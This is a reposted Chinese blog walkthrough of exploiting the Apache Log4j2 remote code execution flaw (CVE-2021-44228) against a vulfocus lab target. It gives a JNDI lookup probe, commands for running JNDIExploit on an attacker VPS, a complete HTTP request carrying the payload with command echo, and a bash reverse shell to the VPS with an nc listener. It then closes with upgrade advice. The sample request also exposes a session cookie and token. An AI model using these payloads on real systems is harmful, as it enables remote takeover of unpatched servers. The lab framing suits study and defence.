ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[转]Apache Log4j2远程代码执行漏洞复现及修复建议

2022-01-20 12:58:57  阅读:198  来源: 互联网

标签:application 漏洞 代码执行 Apache 靶机 Log4j2 2.15


环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

在这里插入图片描述

背景:

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)

漏洞编号:

CNVD-2021-95914
CVE-2021-44228

影响版本:

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

影响力度:

2021.12.09 漏洞爆出后,新一轮拒绝服务漏洞相继爆出。各种测试网图流传,堪比安全圈过年,各类java项目、全球大厂几乎都受漏洞影响,且利用难度级低,严重程度级高,看图吃瓜:

百度:
在这里插入图片描述
苹果:
在这里插入图片描述
网易云:
在这里插入图片描述
无厘头:
在这里插入图片描述

环境搭建:

方式一
靶机地址:http://vulfocus.fofa.so/#

方式二
docker搭建:docker pull vulfocus/log4j2-rce-2021-12-09:latest

靶机访问如下:
在这里插入图片描述

验证漏洞是否存在:

1、使用Dnslog平台验证:
Dnslog地址:http://www.dnslog.cn/

2、使用burpsuit抓包,构造poc请求:
poc → ${jndi:ldap://dnslog address/poc}
在这里插入图片描述

3、Dnslog平台收到请求,证明漏洞存在。

漏洞利用:

利用工具:

链接:https://pan.baidu.com/s/1ABBPDmtMQktehVBt5MYwvg 
提取码:gr3n
  1. 使用圈内大佬的漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包 ;

  2. 在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ... -l 7000 -p 5000
    //注意:外网环境利用需要出外网,命令中填写公网IP

JNDI服务启动如下:
在这里插入图片描述
利用方式一(远程命令执行拿flag)

  • 抓包,构造payload请求包

    //构造后的请求包
    POST /hello HTTP/1.1
    Host: vulfocus.fofa.so:22151
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636684504,1638936049; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1639040366; Hm_lvt_deaeca6802357287fb453f342ce28dda=1637137942,1639100636,1639115500; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo5MzUyLCJ1c2VybmFtZSI6ImFmdGVyIiwiZXhwIjoxNjM5NDY0NzUxLCJlbWFpbCI6IjE5Nzc0NjU0NDFAcXEuY29tIn0.YnY3gk_aKKdcdZ954LndmQZji66gOtGeMgHQ-jtjYQg; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1639385736
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 66
    cmd:ls /tmp

    payload=${jndi:ldap://...:7000/TomcatBypass/TomcatEcho}

成功命令回显,拿到flag
在这里插入图片描述
利用方式二(反弹shell,控制靶机)

  1. 利用bash反弹shell

    同方式一请求包cmd命令换成:
    /bin/bash -c ‘bash -i >& /dev/tcp/.../5001 0>&1’

  2. vps接收shell

    nc -lvvp 5001

如下如,成功反弹shell,控制靶机:
在这里插入图片描述

解决方案:

  1. 升级至 log4j-2.15.0-rc2

    下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 对于漏洞整改及排查推荐大佬的文章:
    (针对无法立即升级用户)
    https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA


作者:. after
来源:CSDN
原文:https://blog.csdn.net/isxiaole/article/details/121912039
版权声明:本文为作者原创文章,转载请附上博文链接!

标签:application,漏洞,代码执行,Apache,靶机,Log4j2,2.15
来源: https://blog.csdn.net/weixin_45588247/article/details/122598932

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有